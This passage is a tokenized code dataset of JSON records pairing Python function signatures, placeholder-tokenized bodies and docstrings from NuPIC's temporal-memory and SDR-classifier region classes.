dict(<EOL>learningMode=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>defaultValue=True,<EOL>constraints='<STR_LIT:bool>'),<EOL>inferenceMode=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>defaultValue=False,<EOL>constraints='<STR_LIT:bool>'),<EOL>computePredictedActiveCellIndices=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>defaultValue=False,<EOL>constraints='<STR_LIT:bool>'),<EOL>anomalyMode=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>defaultValue=False,<EOL>constraints='<STR_LIT:bool>'),<EOL>topDownMode=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>defaultValue=False,<EOL>constraints='<STR_LIT:bool>'),<EOL>activeOutputCount=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>'),<EOL>storeDenseOutput=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>'),<EOL>logPathOutput=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>)<EOL>return temporalSpec, otherSpec<EOL>", "docstring": "Build the additional specs in three groups (for the inspector)\n\n    Use the type of the default argument to set the Spec type, defaulting\n    to 'Byte' for None and complex types\n\n    Determines the spatial parameters based on the selected implementation.\n    It defaults to TemporalMemory.\n    Determines the temporal parameters based on the temporalImp", "id": "f17618:m2"}
{"signature": "def _initialize(self):", "body": "for attrName in self._getEphemeralMembersBase():<EOL><INDENT>if attrName != \"<STR_LIT>\":<EOL><INDENT>if hasattr(self, attrName):<EOL><INDENT>if self._loaded:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>print(self.__class__.__name__, \"<STR_LIT>\" %attrName)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if not self._loaded:<EOL><INDENT>for attrName in self._getEphemeralMembersBase():<EOL><INDENT>if attrName != \"<STR_LIT>\":<EOL><INDENT>assert not hasattr(self, attrName)<EOL><DEDENT>else:<EOL><INDENT>assert hasattr(self, attrName)<EOL><DEDENT><DEDENT><DEDENT>self._profileObj = None<EOL>self._iterations = <NUM_LIT:0><EOL>self._initEphemerals()<EOL>self._checkEphemeralMembers()<EOL>", "docstring": "Initialize all ephemeral data members, and give the derived\nclass the opportunity to do the same by invoking the\nvirtual member _initEphemerals(), which is intended to be\noverridden.", "id": "f17618:c0:m1"}
{"signature": "def initialize(self):", "body": "<EOL>autoArgs = dict((name, getattr(self, name))<EOL>for name in self._temporalArgNames)<EOL>if self._tfdr is None:<EOL><INDENT>tpClass = _getTPClass(self.temporalImp)<EOL>if self.temporalImp in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT:r>',<EOL>'<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>',]:<EOL><INDENT>self._tfdr = tpClass(<EOL>numberOfCols=self.columnCount,<EOL>cellsPerColumn=self.cellsPerColumn,<EOL>**autoArgs)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.initialize`.", "id": "f17618:c0:m2"}
{"signature": "def compute(self, inputs, outputs):", "body": "<EOL>if False and self.learningModeand self._iterations > <NUM_LIT:0> and self._iterations <= <NUM_LIT:10>:<EOL><INDENT>import hotshot<EOL>if self._iterations == <NUM_LIT:10>:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>stats = hotshot.stats.load(\"<STR_LIT>\")<EOL>stats.strip_dirs()<EOL>stats.sort_stats('<STR_LIT:time>', '<STR_LIT>')<EOL>stats.print_stats()<EOL><DEDENT>if self._profileObj is None:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>if os.path.exists('<STR_LIT>'):<EOL><INDENT>os.remove('<STR_LIT>')<EOL><DEDENT>self._profileObj = hotshot.Profile(\"<STR_LIT>\", <NUM_LIT:1>, <NUM_LIT:1>)<EOL><DEDENT>self._profileObj.runcall(self._compute, *[inputs, outputs])<EOL><DEDENT>else:<EOL><INDENT>self._compute(inputs, outputs)<EOL><DEDENT>", "docstring": "Run one iteration of :class:`~nupic.regions.tm_region.TMRegion` compute, \nprofiling it if requested.\n\n:param inputs: (dict) mapping region input names to numpy.array values\n:param outputs: (dict) mapping region output names to numpy.arrays that \n       should be populated with output values by this method", "id": "f17618:c0:m3"}
{"signature": "def _compute(self, inputs, outputs):", "body": "<EOL>if self._tfdr is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self._conditionalBreak()<EOL>self._iterations += <NUM_LIT:1><EOL>buInputVector = inputs['<STR_LIT>']<EOL>resetSignal = False<EOL>if '<STR_LIT>' in inputs:<EOL><INDENT>assert len(inputs['<STR_LIT>']) == <NUM_LIT:1><EOL>if inputs['<STR_LIT>'][<NUM_LIT:0>] != <NUM_LIT:0>:<EOL><INDENT>self._tfdr.reset()<EOL>self._sequencePos = <NUM_LIT:0>  <EOL><DEDENT><DEDENT>if self.computePredictedActiveCellIndices:<EOL><INDENT>prevPredictedState = self._tfdr.getPredictedState().reshape(-<NUM_LIT:1>).astype('<STR_LIT>')<EOL><DEDENT>if self.anomalyMode:<EOL><INDENT>prevPredictedColumns = self._tfdr.topDownCompute().copy().nonzero()[<NUM_LIT:0>]<EOL><DEDENT>tpOutput = self._tfdr.compute(buInputVector, self.learningMode, self.inferenceMode)<EOL>self._sequencePos += <NUM_LIT:1><EOL>if self.orColumnOutputs:<EOL><INDENT>tpOutput= tpOutput.reshape(self.columnCount,<EOL>self.cellsPerColumn).max(axis=<NUM_LIT:1>)<EOL><DEDENT>if self._fpLogTPOutput:<EOL><INDENT>output = tpOutput.reshape(-<NUM_LIT:1>)<EOL>outputNZ = tpOutput.nonzero()[<NUM_LIT:0>]<EOL>outStr = \"<STR_LIT:U+0020>\".join([\"<STR_LIT>\" % int(token) for token in outputNZ])<EOL>print(output.size, outStr, file=self._fpLogTPOutput)<EOL><DEDENT>outputs['<STR_LIT>'][:] = tpOutput.flat<EOL>if self.topDownMode:<EOL><INDENT>outputs['<STR_LIT>'][:] = self._tfdr.topDownCompute().copy()<EOL><DEDENT>if self.anomalyMode:<EOL><INDENT>activeLearnCells = self._tfdr.getLearnActiveStateT()<EOL>size = activeLearnCells.shape[<NUM_LIT:0>] * activeLearnCells.shape[<NUM_LIT:1>]<EOL>outputs['<STR_LIT>'][:] = activeLearnCells.reshape(size)<EOL>activeColumns = buInputVector.nonzero()[<NUM_LIT:0>]<EOL>outputs['<STR_LIT>'][:] = anomaly.computeRawAnomalyScore(<EOL>activeColumns, prevPredictedColumns)<EOL><DEDENT>if self.computePredictedActiveCellIndices:<EOL><INDENT>activeState = self._tfdr._getActiveState().reshape(-<NUM_LIT:1>).astype('<STR_LIT>')<EOL>activeIndices = numpy.where(activeState != <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>predictedIndices= numpy.where(prevPredictedState != <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>predictedActiveIndices = numpy.intersect1d(activeIndices, predictedIndices)<EOL>outputs[\"<STR_LIT>\"].fill(<NUM_LIT:0>)<EOL>outputs[\"<STR_LIT>\"][activeIndices] = <NUM_LIT:1><EOL>outputs[\"<STR_LIT>\"].fill(<NUM_LIT:0>)<EOL>outputs[\"<STR_LIT>\"][predictedActiveIndices] = <NUM_LIT:1><EOL><DEDENT>", "docstring": "Run one iteration of TMRegion's compute", "id": "f17618:c0:m4"}
{"signature": "@classmethod<EOL><INDENT>def getBaseSpec(cls):<DEDENT>", "body": "spec = dict(<EOL>description=TMRegion.__doc__,<EOL>singleNodeOnly=True,<EOL>inputs=dict(<EOL>bottomUpIn=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=False,<EOL>isDefaultInput=True,<EOL>requireSplitterMap=False),<EOL>resetIn=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>required=False,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>sequenceIdIn=dict(<EOL>description=\"<STR_LIT>\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>required=False,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>),<EOL>outputs=dict(<EOL>bottomUpOut=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=True),<EOL>topDownOut=dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>activeCells=dict(<EOL>description=\"<STR_LIT>\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>predictedActiveCells=dict(<EOL>description=\"<STR_LIT>\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>anomalyScore = dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>lrnActiveStateT = dict(<EOL>description=\"\"\"<STR_LIT>\"\"\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False),<EOL>),<EOL>parameters=dict(<EOL>breakPdb=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>breakKomodo=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>),<EOL>commands = {}<EOL>)<EOL>return spec<EOL>", "docstring": "Doesn't include the spatial, temporal and other parameters\n\n:returns: (dict) the base Spec for TMRegion.", "id": "f17618:c0:m5"}
{"signature": "@classmethod<EOL><INDENT>def getSpec(cls):<DEDENT>", "body": "spec = cls.getBaseSpec()<EOL>t, o = _getAdditionalSpecs(temporalImp=gDefaultTemporalImp)<EOL>spec['<STR_LIT>'].update(t)<EOL>spec['<STR_LIT>'].update(o)<EOL>return spec<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getSpec`.\n\nThe parameters collection is constructed based on the parameters specified\nby the various components (spatialSpec, temporalSpec and otherSpec)", "id": "f17618:c0:m6"}
{"signature": "def getAlgorithmInstance(self):", "body": "return self._tfdr<EOL>", "docstring": ":returns: instance of the underlying \n          :class:`~nupic.algorithms.temporal_memory.TemporalMemory` \n          algorithm object.", "id": "f17618:c0:m7"}
{"signature": "def getParameter(self, parameterName, index=-<NUM_LIT:1>):", "body": "if parameterName in self._temporalArgNames:<EOL><INDENT>return getattr(self._tfdr, parameterName)<EOL><DEDENT>else:<EOL><INDENT>return PyRegion.getParameter(self, parameterName, index)<EOL><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getParameter`.\n\nGet the value of a parameter. Most parameters are handled automatically by\n:class:`~nupic.bindings.regions.PyRegion.PyRegion`'s parameter get mechanism. The \nones that need special treatment are explicitly handled here.", "id": "f17618:c0:m8"}
{"signature": "def setParameter(self, parameterName, index, parameterValue):", "body": "if parameterName in self._temporalArgNames:<EOL><INDENT>setattr(self._tfdr, parameterName, parameterValue)<EOL><DEDENT>elif parameterName == \"<STR_LIT>\":<EOL><INDENT>self.logPathOutput = parameterValue<EOL>if self._fpLogTPOutput is not None:<EOL><INDENT>self._fpLogTPOutput.close()<EOL>self._fpLogTPOutput = None<EOL><DEDENT>if parameterValue:<EOL><INDENT>self._fpLogTPOutput = open(self.logPathOutput, '<STR_LIT:w>')<EOL><DEDENT><DEDENT>elif hasattr(self, parameterName):<EOL><INDENT>setattr(self, parameterName, parameterValue)<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' + parameterName)<EOL><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.setParameter`.", "id": "f17618:c0:m9"}
{"signature": "def resetSequenceStates(self):", "body": "self._tfdr.reset()<EOL>self._sequencePos = <NUM_LIT:0>  <EOL>return<EOL>", "docstring": "Resets the region's sequence states.", "id": "f17618:c0:m10"}
{"signature": "def finishLearning(self):", "body": "if self._tfdr is None:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>if hasattr(self._tfdr, '<STR_LIT>'):<EOL><INDENT>self.resetSequenceStates()<EOL>self._tfdr.finishLearning()<EOL><DEDENT>", "docstring": "Perform an internal optimization step that speeds up inference if we know\nlearning will not be performed anymore. This call may, for example, remove\nall potential inputs to each column.", "id": "f17618:c0:m11"}
{"signature": "@staticmethod<EOL><INDENT>def getSchema():<DEDENT>", "body": "return TMRegionProto<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getSchema`.", "id": "f17618:c0:m12"}
{"signature": "def writeToProto(self, proto):", "body": "proto.temporalImp = self.temporalImp<EOL>proto.columnCount = self.columnCount<EOL>proto.inputWidth = self.inputWidth<EOL>proto.cellsPerColumn = self.cellsPerColumn<EOL>proto.learningMode = self.learningMode<EOL>proto.inferenceMode = self.inferenceMode<EOL>proto.anomalyMode = self.anomalyMode<EOL>proto.topDownMode = self.topDownMode<EOL>proto.computePredictedActiveCellIndices = (<EOL>self.computePredictedActiveCellIndices)<EOL>proto.orColumnOutputs = self.orColumnOutputs<EOL>if self.temporalImp == \"<STR_LIT>\":<EOL><INDENT>tmProto = proto.init(\"<STR_LIT>\")<EOL><DEDENT>elif self.temporalImp == \"<STR_LIT>\":<EOL><INDENT>tmProto = proto.init(\"<STR_LIT>\")<EOL><DEDENT>elif self.temporalImp == \"<STR_LIT>\":<EOL><INDENT>tmProto = proto.init(\"<STR_LIT>\")<EOL><DEDENT>elif self.temporalImp == \"<STR_LIT>\":<EOL><INDENT>tmProto = proto.init(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\".format(<EOL>self.temporalImp))<EOL><DEDENT>self._tfdr.write(tmProto)<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.writeToProto`.\n\nWrite state to proto object.\n\n:param proto: TMRegionProto capnproto object", "id": "f17618:c0:m13"}
{"signature": "@classmethod<EOL><INDENT>def readFromProto(cls, proto):<DEDENT>", "body": "instance = cls(proto.columnCount, proto.inputWidth, proto.cellsPerColumn)<EOL>instance.temporalImp = proto.temporalImp<EOL>instance.learningMode = proto.learningMode<EOL>instance.inferenceMode = proto.inferenceMode<EOL>instance.anomalyMode = proto.anomalyMode<EOL>instance.topDownMode = proto.topDownMode<EOL>instance.computePredictedActiveCellIndices = (<EOL>proto.computePredictedActiveCellIndices)<EOL>instance.orColumnOutputs = proto.orColumnOutputs<EOL>if instance.temporalImp == \"<STR_LIT>\":<EOL><INDENT>tmProto = proto.backtrackingTM<EOL><DEDENT>elif instance.temporalImp == \"<STR_LIT>\":<EOL><INDENT>tmProto = proto.backtrackingTMCpp<EOL><DEDENT>elif instance.temporalImp == \"<STR_LIT>\":<EOL><INDENT>tmProto = proto.temporalMemory<EOL><DEDENT>elif instance.temporalImp == \"<STR_LIT>\":<EOL><INDENT>tmProto = proto.temporalMemory<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\".format(<EOL>instance.temporalImp))<EOL><DEDENT>instance._tfdr = _getTPClass(proto.temporalImp).read(tmProto)<EOL>return instance<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.readFromProto`.\n\nRead state from proto object.\n\n:param proto: TMRegionProto capnproto object", "id": "f17618:c0:m14"}
{"signature": "def __getstate__(self):", "body": "state = self.__dict__.copy()<EOL>for ephemeralMemberName in self._getEphemeralMembersAll():<EOL><INDENT>state.pop(ephemeralMemberName, None)<EOL><DEDENT>return state<EOL>", "docstring": "Return serializable state.  This function will return a version of the\n__dict__ with all \"ephemeral\" members stripped out.  \"Ephemeral\" members\nare defined as those that do not need to be (nor should be) stored\nin any kind of persistent file (e.g., NuPIC network XML file.)", "id": "f17618:c0:m15"}
{"signature": "def serializeExtraData(self, filePath):", "body": "if self._tfdr is not None:<EOL><INDENT>self._tfdr.saveToFile(filePath)<EOL><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.serializeExtraData`.", "id": "f17618:c0:m16"}
{"signature": "def deSerializeExtraData(self, filePath):", "body": "if self._tfdr is not None:<EOL><INDENT>self._tfdr.loadFromFile(filePath)<EOL><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.deSerializeExtraData`.\n\nThis method is called during network deserialization with an external\nfilename that can be used to bypass pickle for loading large binary states.\n\n:param filePath: (string) absolute file path", "id": "f17618:c0:m17"}
{"signature": "def __setstate__(self, state):", "body": "if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.storeDenseOutput = False<EOL><DEDENT>if not hasattr(self, '<STR_LIT>'):<EOL><INDENT>self.computePredictedActiveCellIndices = False<EOL><DEDENT>self.__dict__.update(state)<EOL>self._loaded = True<EOL>self._initialize()<EOL>", "docstring": "Set the state of ourself from a serialized state.", "id": "f17618:c0:m18"}
{"signature": "def _initEphemerals(self):", "body": "self._sequencePos = <NUM_LIT:0><EOL>self._fpLogTPOutput = None<EOL>self.logPathOutput = None<EOL>", "docstring": "Initialize all ephemerals used by derived classes.", "id": "f17618:c0:m19"}
{"signature": "def _getEphemeralMembers(self):", "body": "return ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>',]<EOL>", "docstring": "Callback that returns a list of all \"ephemeral\" members (i.e., data members\nthat should not and/or cannot be pickled.)", "id": "f17618:c0:m20"}
{"signature": "def _getEphemeralMembersBase(self):", "body": "return [<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>',<EOL>]<EOL>", "docstring": "Returns list of all ephemeral members.", "id": "f17618:c0:m21"}
{"signature": "def _getEphemeralMembersAll(self):", "body": "return self._getEphemeralMembersBase() + self._getEphemeralMembers()<EOL>", "docstring": "Returns a concatenated list of both the standard base class\nephemeral members, as well as any additional ephemeral members\n(e.g., file handles, etc.).", "id": "f17618:c0:m22"}
{"signature": "def getOutputElementCount(self, name):", "body": "if name == '<STR_LIT>':<EOL><INDENT>return self.outputWidth<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>return self.columnCount<EOL><DEDENT>elif name == '<STR_LIT>':<EOL><INDENT>return self.outputWidth<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.outputWidth<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>return self.outputWidth<EOL><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getOutputElementCount`.", "id": "f17618:c0:m25"}
{"signature": "def getParameterArrayCount(self, name, index):", "body": "p = self.getParameter(name)<EOL>if (not hasattr(p, '<STR_LIT>')):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % name)<EOL><DEDENT>return len(p)<EOL>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getParameterArrayCount`.", "id": "f17618:c0:m26"}
{"signature": "def getParameterArray(self, name, index, a):", "body": "p = self.getParameter(name)<EOL>if (not hasattr(p, '<STR_LIT>')):<EOL><INDENT>raise Exception(\"<STR_LIT>\" % name)<EOL><DEDENT>if len(p) >  <NUM_LIT:0>:<EOL><INDENT>a[:] = p[:]<EOL><DEDENT>", "docstring": "Overrides :meth:`~nupic.bindings.regions.PyRegion.PyRegion.getParameterArray`.", "id": "f17618:c0:m27"}
{"signature": "@classmethod<EOL><INDENT>def getSpec(cls):<DEDENT>", "body": "ns = dict(<EOL>description=SDRClassifierRegion.__doc__,<EOL>singleNodeOnly=True,<EOL>inputs=dict(<EOL>actValueIn=dict(<EOL>description=\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>dataType=\"<STR_LIT>\",<EOL>count=<NUM_LIT:0>,<EOL>required=False,<EOL>regionLevel=False,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>bucketIdxIn=dict(<EOL>description=\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>dataType=\"<STR_LIT>\",<EOL>count=<NUM_LIT:0>,<EOL>required=False,<EOL>regionLevel=False,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>categoryIn=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>bottomUpIn=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=False,<EOL>isDefaultInput=True,<EOL>requireSplitterMap=False),<EOL>predictedActiveCells=dict(<EOL>description=\"<STR_LIT>\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>required=True,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>sequenceIdIn=dict(<EOL>description=\"<STR_LIT>\",<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>required=False,<EOL>regionLevel=True,<EOL>isDefaultInput=False,<EOL>requireSplitterMap=False),<EOL>),<EOL>outputs=dict(<EOL>categoriesOut=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False,<EOL>requireSplitterMap=False),<EOL>actualValues=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False,<EOL>requireSplitterMap=False),<EOL>probabilities=dict(<EOL>description='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>regionLevel=True,<EOL>isDefaultOutput=False,<EOL>requireSplitterMap=False),<EOL>),<EOL>parameters=dict(<EOL>learningMode=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:1>,<EOL>accessMode='<STR_LIT>'),<EOL>inferenceMode=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT:bool>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>maxCategoryCount=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>required=True,<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT>,<EOL>accessMode='<STR_LIT>'),<EOL>steps=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType=\"<STR_LIT>\",<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue='<STR_LIT:0>',<EOL>accessMode='<STR_LIT>'),<EOL>alpha=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType=\"<STR_LIT>\",<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT>,<EOL>accessMode='<STR_LIT>'),<EOL>implementation=dict(<EOL>description='<STR_LIT>',<EOL>accessMode='<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:0>,<EOL>constraints='<STR_LIT>'),<EOL>verbosity=dict(<EOL>description='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>',<EOL>dataType='<STR_LIT>',<EOL>count=<NUM_LIT:1>,<EOL>constraints='<STR_LIT>',<EOL>defaultValue=<NUM_LIT:0>,<EOL>accessMode='<STR_LIT>'),<EOL>),<EOL>commands=dict()<EOL>)<EOL>return ns<EOL>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getSpec`.", "id": "f17619:c0:m0"}
{"signature": "def initialize(self):", "body": "if self._sdrClassifier is None:<EOL><INDENT>self._sdrClassifier = SDRClassifierFactory.create(<EOL>steps=self.stepsList,<EOL>alpha=self.alpha,<EOL>verbosity=self.verbosity,<EOL>implementation=self.implementation,<EOL>)<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.initialize`.\n\nIs called once by NuPIC before the first call to compute().\nInitializes self._sdrClassifier if it is not already initialized.", "id": "f17619:c0:m2"}
{"signature": "def getAlgorithmInstance(self):", "body": "return self._sdrClassifier<EOL>", "docstring": ":returns: (:class:`nupic.regions.sdr_classifier_region.SDRClassifierRegion`)", "id": "f17619:c0:m3"}
{"signature": "def getParameter(self, name, index=-<NUM_LIT:1>):", "body": "<EOL>return PyRegion.getParameter(self, name, index)<EOL>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.getParameter`.", "id": "f17619:c0:m4"}
{"signature": "def setParameter(self, name, index, value):", "body": "if name == \"<STR_LIT>\":<EOL><INDENT>self.learningMode = bool(int(value))<EOL><DEDENT>elif name == \"<STR_LIT>\":<EOL><INDENT>self.inferenceMode = bool(int(value))<EOL><DEDENT>else:<EOL><INDENT>return PyRegion.setParameter(self, name, index, value)<EOL><DEDENT>", "docstring": "Overrides :meth:`nupic.bindings.regions.PyRegion.PyRegion.setParameter`.", "id": "f17619:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def getSchema():<DEDENT>", "body": "return SDRClassifierRegionProto<EOL>", "docstring": ":returns: the pycapnp proto type that the class uses for serialization.", "id": "f17619:c0:m6"}
{"signature": "def writeToProto(self, proto):", "body": "proto.implementation = self.implementation<EOL>proto.steps = self.steps<EOL>proto.alpha = self.alpha<EOL>proto.verbosity = self.verbosity<EOL>proto.maxCategoryCount = self.maxCategoryCount<EOL>proto.learningMode = self.learningMode<EOL>proto.inferenceMode = self.inferenceMode<EOL>proto.recordNum = self.recordNum<EOL>self._sdrClassifier.write(proto.sdrClassifier)<EOL>", "docstring": "Write state to proto object.\n\n:param proto: SDRClassifierRegionProto capnproto object", "id": "f17619:c0:m7"}
{"signature": "@classmethod<EOL><INDENT>def readFromProto(cls, proto):<DEDENT>", "body": "instance = cls()<EOL>instance.implementation = proto.implementation<EOL>instance.steps = proto.steps<EOL>instance.stepsList = [int(i) for i in proto.steps.split(\"<STR_LIT:U+002C>\")]<EOL>instance.alpha = proto.alpha<EOL>instance.verbosity = proto.verbosity<EOL>instance.maxCategoryCount = proto.maxCategoryCount<EOL>instance._sdrClassifier = SDRClassifierFactory.read(proto)<EOL>instance.learningMode = proto.learningMode<EOL>instance.inferenceMode = proto.inferenceMode<EOL>instance.recordNum = proto.recordNum<EOL>return instance<EOL>", "docstring": "Read state from proto object.\n\n:param proto: SDRClassifierRegionProto capnproto object", "id": "f17619:c0:m8"}
